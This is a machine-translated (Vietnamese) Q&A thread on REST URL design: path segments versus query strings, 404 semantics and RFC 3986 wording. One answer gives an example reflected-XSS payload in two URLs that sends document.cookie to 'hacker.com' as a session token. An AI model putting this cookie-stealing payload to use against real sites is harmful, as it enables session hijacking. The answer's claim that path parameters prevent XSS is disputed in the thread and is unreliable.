Chuỗi truy vấn trong url tài nguyên REST


77

Hôm nay tôi đã có một cuộc thảo luận với một đồng nghiệp về việc sử dụng chuỗi truy vấn trong các URL REST. Lấy 2 ví dụ sau:

1. http://localhost/findbyproductcode/4xxheua
2. http://localhost/findbyproductcode?productcode=4xxheua

Lập trường của tôi là các URL phải được thiết kế như trong ví dụ 1. Điều này rõ ràng hơn và những gì tôi nghĩ là đúng trong REST. Trong mắt tôi, bạn hoàn toàn chính xác khi trả về lỗi 404 từ ví dụ 1 nếu mã sản phẩm không tồn tại trong khi với ví dụ 2 trả về lỗi 404 sẽ là sai khi trang phải tồn tại. Lập trường của anh ấy là điều đó không thực sự quan trọng và cả hai đều làm điều tương tự.

Vì cả hai chúng tôi đều không thể tìm thấy bằng chứng cụ thể (phải thừa nhận rằng tìm kiếm của tôi không rộng rãi) nên tôi muốn biết ý kiến ​​của những người khác về điều này.


Cảm ơn cho tất cả các câu trả lời dân gian. Bây giờ anh ấy đã đồng ý với quan điểm rằng phương án một tốt hơn phương án 2 với một số bài đọc / nghiên cứu nhiều hơn.
pythonandchips

29
Lưu ý rằng tài nguyên trong REST phải là danh từ chứ không phải động từ. "Tìm theo mã sản phẩm" do đó ngay từ đầu đã không phù hợp.
fletom,

Câu trả lời:


49

Trong các API REST điển hình, ví dụ số 1 đúng hơn. Tài nguyên được biểu diễn dưới dạng URI và # 1 làm được nhiều hơn thế. Trả lại 404 khi không tìm thấy mã sản phẩm là hành vi hoàn toàn đúng. Đã nói rằng, tôi sẽ sửa đổi số 1 một chút để biểu cảm hơn một chút như thế này:

http://localhost/products/code/4xheaua

Nhìn vào các API REST được thiết kế tốt khác - ví dụ: hãy xem StackOverflow. Bạn có:

stackoverflow.com/questions
stackoverflow.com/questions/tagged/rest
stackoverflow.com/questions/3821663

Đây là tất cả những cách khác nhau để nhận được "câu hỏi".


11
+1 bởi vì findbyproductcode là động từ nhiều hơn là danh từ - nó là một lệnh gọi RPC, không phải là một tài nguyên. Tuy nhiên, tôi nghĩ câu hỏi thay đổi một chút và câu trả lời cũng vậy, khi bạn có nhiều hơn một tiêu chí tìm kiếm thay vì chỉ mã sản phẩm. / products? size = {size} & color = {color}. Tôi muốn quan tâm đến suy nghĩ của bạn về điều đó.
ScottCher

34
Tôi muốn nói: nếu đang , 4xheauanhững sản phẩm ID sau đó Tốt hơn tôi nên đi với domain/products/4xheaua. Thay vào đó, nếu chỉ là một trong nhiều tiêu chí tìm kiếm, thì tôi sẽ sử dụng domain/products?code=4xheaua.
superjos

1
Tôi sẽ thêm rằng các phần đường dẫn bổ sung nên thể hiện mối quan hệ phân cấp, giống như thư mục. Tôi tin rằng đây là nguyên tắc cơ bản của những gì @superjos (+1) đã nói. Tuy nhiên, không phải tất cả các tài nguyên đều có ID, vì vậy nó sẽ tổng quát hơn một chút.
wprl

Chính xác. Điều này cho phép bạn thực hiện những việc như localhost / products / new hoặc localhost / products / fireale
richard

những gì về tài nguyên được xác định bởi 2 trường? / tên miền / dự án? code = xxx & name = xxx
PeiSong

85

Không có sự khác biệt giữa hai URI từ quan điểm của khách hàng. URI không rõ ràng đối với khách hàng. Sử dụng bất kỳ bản đồ nào rõ ràng hơn vào cơ sở hạ tầng phía máy chủ của bạn.

Theo như REST có liên quan thì hoàn toàn không có sự khác biệt. Tôi tin rằng lý do tại sao nhiều người tin rằng chỉ có thành phần đường dẫn xác định tài nguyên là do dòng sau trong RFC 2396

Thành phần truy vấn là một chuỗi thông tin được tài nguyên giải thích.

Dòng này sau đó đã được thay đổi trong RFC 3986 thành:

Thành phần truy vấn chứa dữ liệu không phân cấp, cùng với dữ liệu trong thành phần đường dẫn (Phần 3.3), dùng để xác định tài nguyên

IMHO điều này có nghĩa là cả chuỗi truy vấn và phân đoạn đường dẫn đều tương đương về chức năng khi nói đến việc xác định tài nguyên.


Cập nhật để giải quyết bình luận của Steve.

Thứ lỗi cho tôi nếu tôi phản đối tính từ "sạch hơn". Nó chỉ là cách quá chủ quan. Bạn có một điểm mặc dù tôi đã bỏ lỡ một phần quan trọng của câu hỏi.

Tôi nghĩ câu trả lời cho việc có trả lại 404 hay không phụ thuộc vào tài nguyên đang được truy xuất là gì. Nó là đại diện của kết quả tìm kiếm hay là đại diện của sản phẩm? Để biết điều này, bạn thực sự cần nhìn vào mối quan hệ liên kết dẫn chúng ta đến URL.

Nếu URL được cho là trả về đại diện Sản phẩm thì 404 sẽ được trả về nếu mã không tồn tại. Nếu URL trả về một kết quả tìm kiếm thì nó sẽ không trả về 404.

Kết quả cuối cùng là URL trông như thế nào không phải là yếu tố quyết định. Phải nói rằng, quy ước rằng các chuỗi truy vấn được sử dụng để trả về kết quả tìm kiếm, vì vậy sẽ trực quan hơn khi sử dụng kiểu URL đó khi bạn không muốn trả về 404s.


13
Trích dẫn thông số RFC là tốt nhưng đó không phải là câu hỏi chính xác đang được đặt ra. Vâng, hai ví dụ tương đương về chức năng - điều đó không có gì phải bàn cãi. Câu hỏi vượt ra khỏi "định nghĩa" của sách giáo khoa về một nguồn tài nguyên (mà cả hai đều áp dụng). Đối với câu hỏi của anh ấy, điều gì sẽ xảy ra nếu mã trong chuỗi truy vấn không có ở đó? 404? Còn về khía cạnh "sạch" hơn trong câu hỏi của anh ấy? Cả hai đều "hợp lệ", vâng, nhưng IMHO, # 1 là "sạch hơn" và phù hợp hơn với những gì anh ấy đang tìm kiếm (kết hợp với câu trả lời của tôi bên dưới với StackOverflow).
Steve Michelotti

5
Tôi đồng ý với sự so sánh bạn đưa ra trong câu trả lời cập nhật của bạn. chuỗi truy vấn có ý nghĩa đối với kết quả tìm kiếm không có 404. Đối với mã sản phẩm (theo câu hỏi này), 404 có ý nghĩa và IMO thường không sử dụng chuỗi truy vấn cho trường hợp này. Cảm ơn vì câu trả lời đã cập nhật.
Steve Michelotti

@DarrelMiller bạn có nghĩa là gì khi nói "IMHO, điều này có nghĩa là cả chuỗi truy vấn và phân đoạn đường dẫn đều tương đương về mặt chức năng khi nói đến việc xác định tài nguyên." Có phải bạn đang nói rằng foo / resourcesfoo / resources? QueryParam = bar được coi là những định danh tài nguyên giống nhau không? Hoặc rằng, mặc dù các định danh tài nguyên khác nhau, chúng xác định cùng một tài nguyên?
Les Hazlewood

1
@LesHazlewood Cũng không. Chúng là hai mã định danh tài nguyên khác nhau xác định hai tài nguyên khác nhau nhưng một trong hai sẽ hoạt động hiệu quả.
Darrel Miller

11

Có hai trường hợp sử dụng cho GET

  1. Nhận một tài nguyên được xác định duy nhất
  2. Tìm kiếm (các) tài nguyên dựa trên các tiêu chí nhất định

Ví dụ về Use Case 1:

/ products / 4xxheua
Nhận sản phẩm nhận dạng duy nhất, trả lại 404 nếu không tìm thấy.

Ví dụ về Use Case 2:

/ products? size = large & color = red
Tìm kiếm sản phẩm, trả về danh sách các sản phẩm phù hợp (0 đến nhiều).

Nếu chúng ta xem xét API Google Maps, chúng ta có thể thấy chúng sử dụng một chuỗi truy vấn để tìm kiếm.

ví dụ: http://maps.googleapis.com/maps/api/geocode/json?address=los+angeles,+ca&sensor=false

Vì vậy, cả hai kiểu đều hợp lệ cho các trường hợp sử dụng riêng của chúng.


4

IMO, thành phần đường dẫn phải luôn nêu rõ những gì bạn muốn truy xuất. Một URL như http: // localhost / findbyproductcode chỉ cho biết tôi muốn truy xuất thứ gì đó bằng mã sản phẩm, nhưng chính xác là gì?

Vì vậy, bạn truy xuất danh bạ bằng http: // localhost / danh bạ và người dùng có http: // localhost / users . Chuỗi truy vấn chỉ được sử dụng để truy xuất một tập hợp con của danh sách như vậy dựa trên các thuộc tính tài nguyên. Ngoại lệ duy nhất cho điều này là khi tập hợp con này được giảm xuống một bản ghi dựa trên khóa chính, khi đó bạn sử dụng một cái gì đó như http: // localhost / contact / [primary_key].

Đó là cách tiếp cận của tôi, số dặm của bạn có thể khác nhau :)


4

Theo cách tôi nghĩ về nó, đường dẫn URI xác định tài nguyên, trong khi các chuỗi truy vấn tùy chọn cung cấp thông tin do người dùng xác định. Vì thế

https://domain.com/products/42

xác định một sản phẩm cụ thể trong khi

https://domain.com/products?price=under+5

có thể tìm kiếm các sản phẩm dưới $ 5.

Tôi không đồng ý với những người nói rằng việc sử dụng chuỗi truy vấn để xác định tài nguyên là nhất quán với REST. Phần lớn của REST là tạo ra một API mô phỏng một hệ thống tệp phân cấp tĩnh (mà không cần một hệ thống như vậy trên phần phụ trợ theo nghĩa đen) - điều này tạo ra các định danh tài nguyên trực quan, ngữ nghĩa. Các chuỗi truy vấn phá vỡ cấu trúc phân cấp này. Ví dụ đồng hồ là một phụ kiện có phụ kiện. Trong phong cách REST, nó khá rõ ràng

 https://domain.com/accessories/watches

https://domain.com/watches/accessories

từng tham chiếu đến. Với các chuỗi truy vấn,

 https://domain.com?product=watches&category=accessories

không rõ ràng lắm.

Ít nhất, kiểu REST tốt hơn các chuỗi truy vấn vì nó yêu cầu lượng thông tin gần bằng một nửa vì thứ tự mạnh mẽ của các tham số cho phép chúng ta loại bỏ tên tham số.


1
Câu trả lời tuyệt vời. Tôi hoàn toàn đồng ý. Tôi chỉ muốn thêm rằng các chuỗi truy vấn vẫn nên được sử dụng trong 3 trường hợp: (i) Phân trang. Ví dụ: domain.com/accessories/watches?page=1 (ii) Lọc thuộc tính: domain.com/accessories/watches?fields=maker,model,price (iii) Tiêu chí tìm kiếm: domain.com/accessories/watches?price= LE + 100
Paulo Merson

3

Kết thúc của hai URI đó không phải là rất đáng kể.

Tuy nhiên, phần 'findbyproductcode' chắc chắn có thể dễ dàng hơn. Tại sao không chỉ http: // localhost / product / 4xxheau ?

Theo kinh nghiệm hạn chế của tôi, nếu bạn có một số nhận dạng duy nhất thì việc xây dựng URI giống như ... / product / {id} sẽ dễ dàng hơn. Tuy nhiên, nếu mã sản phẩm không phải là duy nhất, thì tôi có thể thiết kế nó giống như # 2 hơn.

Tuy nhiên, như Darrel đã quan sát, khách hàng không nên quan tâm URI trông như thế nào.


+1 cho "nếu mã sản phẩm không phải là duy nhất". Sẽ hơi phản trực giác nếu viết ví dụ http://www.google.com/search/democracythay vì http://www.google.com/search?q=democracy... hay đó chỉ là thói quen của chúng ta?
Sergey Orshanskiy

3

Câu hỏi này liên quan đến, cách tiếp cận sạch hơn là gì. Nhưng tôi muốn tập trung vào một khía cạnh khác, được gọi là bảo mật. Khi tôi bắt đầu làm việc chuyên sâu về bảo mật ứng dụng, tôi phát hiện ra rằng một cuộc tấn công XSS được phản ánh có thể được ngăn chặn thành công bằng cách sử dụng PathParams(thẩm định 1) thay vìQueryParams (phương pháp 2).

(Tất nhiên, điều kiện tiên quyết của một cuộc tấn công XSS được phản ánh là đầu vào của người dùng độc hại được phản ánh trở lại trong nguồn html cho máy khách. Thật không may, một số ứng dụng sẽ làm điều đó và đây là lý do tại sao PathParamscó thể ngăn chặn các cuộc tấn công XSS)

Lý do tại sao điều này hoạt động là do tải trọng XSS kết hợp với PathParamssẽ dẫn đến một đường dẫn URL không xác định, không xác định do các dấu gạch chéo trong chính tải trọng đó.

http://victim.com/findbyproductcode/<script>location.href='http://hacker.com?sessionToken='+document.cookie;</script>**

Trong khi cuộc tấn công này sẽ thành công bằng cách sử dụng QueryParam!

http://localhost/findbyproductcode?productcode=<script>location.href='http://hacker.com?sessionToken='+document.cookie;</script>

Đây là lý do tại sao bạn khử trùng đầu vào của người dùng. Không thực sự phù hợp với câu hỏi.
Vsevolod Golovanov

2

Chuỗi truy vấn là không thể tránh khỏi theo nhiều nghĩa thực tế .... Hãy xem xét điều gì sẽ xảy ra nếu tìm kiếm cho phép nhiều trường (tùy chọn) cho tất cả các trường được chỉ định. Ở dạng đầu tiên, các vị trí của họ trong hệ thống phân cấp sẽ phải được cố định và đệm ...

Hãy tưởng tượng mã hóa một SQL chung chung "mệnh đề where" ở định dạng đó .... Tuy nhiên dưới dạng một chuỗi truy vấn, nó khá đơn giản.


1

Nói một cách triết học, các trang không "tồn tại". Khi bạn đặt sách hoặc giấy tờ lên giá sách, chúng sẽ ở đó. Chúng có một số tồn tại riêng biệt trên kệ đó. Tuy nhiên, một trang chỉ tồn tại miễn là nó được lưu trữ trên một số máy tính được bật và có thể cung cấp nó theo yêu cầu. Tất nhiên, trang có thể luôn được tạo nhanh chóng, vì vậy nó không cần phải có bất kỳ tồn tại đặc biệt nào trước khi bạn yêu cầu.

Bây giờ hãy nghĩ về nó từ quan điểm của máy chủ. Giả sử rằng nó được cấu hình đúng Apache --- không phải là một máy chủ python một dòng chỉ ánh xạ tất cả các yêu cầu đến hệ thống tệp. Sau đó, đường dẫn cụ thể được chỉ định trong URL có thể không liên quan gì đến vị trí của một tệp cụ thể trong hệ thống tệp. Vì vậy, một lần nữa, một trang không "tồn tại" theo bất kỳ nghĩa rõ ràng nào. Có lẽ bạn yêu cầu http://some.url/products/intel.html, và bạn nhận được một trang; sau đó bạn yêu cầu http://some.url/products/bigmac.html, và bạn không thấy gì. Nó không có nghĩa là có một tệp nhưng không có tệp khác. Bạn có thể không có quyền truy cập vào tệp khác, vì vậy máy chủ trả về 404 hoặc có thểbigmac.html thể được phục vụ từ máy chủ Mc'Donalds từ xa, máy chủ này tạm thời ngừng hoạt động.

Những gì tôi đang cố gắng giải thích là, 404chỉ là một con số. Không có gì đặc biệt về nó: nó có thể đã được 40404hoặc -2349.23847, chúng tôi vừa đồng ý sử dụng 404. Nó có nghĩa là máy chủ ở đó, nó giao tiếp với bạn, nó có thể hiểu những gì bạn muốn và nó không có gì để trả lại cho bạn. Nếu bạn nghĩ rằng đó là thích hợp để trở lại 404cho http://some.url/products/bigmac.htmlkhi máy chủ quyết định không để phục vụ các tập tin vì lý do gì, sau đó bạn cũng có thể đồng ý quay trở lại 404chohttp://some.url/products?id=bigmac .

Bây giờ, nếu bạn muốn hữu ích cho người dùng sử dụng trình duyệt đang cố gắng chỉnh sửa URL theo cách thủ công, bạn có thể chuyển hướng họ đến một trang có danh sách tất cả các sản phẩm và một số khả năng tìm kiếm thay vì chỉ cung cấp cho họ 404--- hoặc bạn có thể cung cấp 404dưới dạng mã và liên kết đến tất cả các sản phẩm. Nhưng sau đó, bạn có thể làm điều tương tự với http://some.url/products/bigmac.html: tự động chuyển hướng đến một trang có tất cả các sản phẩm.


1

Đối với máy khách REST, cấu trúc URI không quan trọng, bởi vì nó theo sau các liên kết được chú thích bằng ngữ nghĩa và không bao giờ phân tích cú pháp URI.

Bởi nhà phát triển, người viết logic định tuyến và logic tạo liên kết, và có thể muốn hiểu nhật ký bằng cách kiểm tra các URL mà cấu trúc URI có quan trọng. Bằng REST, chúng tôi ánh xạ các URI tới tài nguyên chứ không phải hoạt động - Hoàn thành luận án / giao diện thống nhất / xác định tài nguyên .

Vì vậy, cả hai cấu trúc URI có thể còn thiếu sót, vì chúng chứa các động từ ở định dạng hiện tại của chúng.

1. /findbyproductcode/4xxheua
2. /findbyproductcode?productcode=4xxheua

Bạn có thể xóa findkhỏi URI theo cách này:

1. /products/code:4xxheua
2. /products?code="4xxheua"

Từ quan điểm REST, bạn chọn cái nào không quan trọng.

Bạn có thể xác định quy ước đặt tên của riêng mình, ví dụ: "bằng cách giảm bộ sưu tập thành một tài nguyên duy nhất bằng cách sử dụng số nhận dạng duy nhất, số nhận dạng duy nhất phải luôn là một phần của đường dẫn chứ không phải truy vấn". Điều này cũng giống như những gì tiêu chuẩn URI tuyên bố: đường dẫn là phân cấp, truy vấn là không phân cấp. Vì vậy, tôi sẽ sử dụng /products/code:4xxheua.

Khi sử dụng trang web của chúng tôi, bạn xác nhận rằng bạn đã đọc và hiểu Chính sách cookieChính sách bảo mật của chúng tôi.
Licensed under cc by-sa 3.0 with attribution required.